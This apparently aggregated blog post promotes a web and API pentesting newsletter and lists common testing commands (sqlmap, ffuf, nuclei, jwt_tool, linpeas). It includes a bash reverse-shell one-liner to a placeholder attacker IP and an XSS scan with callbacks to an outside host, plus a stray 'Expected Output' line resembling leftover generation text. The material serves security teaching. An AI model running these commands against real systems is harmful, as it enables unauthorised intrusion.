130+ Web & API Pentest Lessons: Tips, Tricks, and Practical Exploits

Andrei Agape has compiled 130+ web and API penetration testing lessons over 40 consecutive weeks, offering a wealth of knowledge for cybersecurity professionals. The newsletter includes:

• Practical exploits from real pentests
• Burp Suite optimizations
• Workflow automation techniques
• Step-by-step attack examples
• Tool recommendations
• Weaponizing techniques

You can access the full collection here:

👉 SQR Security – Pentest Tips & Tricks

You Should Know: Essential Pentesting Commands & Techniques

1. Burp Suite Optimization

• Intercepting Traffic:

  Set proxy for Burp in Linux 
  export http_proxy="http://127.0.0.1:8080" 
  export https_proxy="http://127.0.0.1:8080" 
  

• Automating Scans:

  java -jar burpsuite_pro.jar --config-file=scan_config.json --project-file=project.burp 
  

2. Web Application Testing

• SQL Injection Testing:

  sqlmap -u "http://example.com/login?id=1" --risk=3 --level=5 --batch 
  

• XSS Detection:

  dalfox url http://example.com/search?q=test -b https://xss hunter.com 
  

3. API Security Testing

• Discovering Hidden Endpoints:

  ffuf -w wordlist.txt -u https://api.example.com/FUZZ -mc 200 
  

• JWT Token Manipulation:

  python3 jwt_tool.py <JWT_TOKEN> -T 
  

4. Workflow Automation

• Automating Recon with Bash:

  Subdomain enumeration 
  subfinder -d example.com -o subs.txt 
  httpx -l subs.txt -status-code -title -o live_urls.txt 
  

• Automated Exploitation:

  nuclei -l live_urls.txt -t ~/nuclei-templates/ 
  

5. Weaponizing Vulnerabilities

• Reverse Shell Payloads:

  Bash reverse shell 
  bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 
  

• Privilege Escalation Checks:

  linpeas.sh | tee linpeas_report.txt 
  

What Undercode Say:

Penetration testing is an evolving field, requiring continuous learning. The 130+ pentest lessons from Andrei Agape provide actionable insights for both beginners and experts. Key takeaways:

• Automation is critical – Use tools like Burp Suite, sqlmap, and `nuclei` to speed up testing.
• API security is often overlooked – Always test hidden endpoints and JWT flaws.
• Real-world exploits require practice – Experiment in controlled environments (e.g., HackTheBox, TryHackMe).

For further reading:

• OWASP Web Security Testing Guide
• Burp Suite Documentation

Expected Output:

A structured, command-rich guide on web & API pentesting, integrating practical examples from Andrei Agape’s newsletter.

References:

Reported By: Aaandrei 40 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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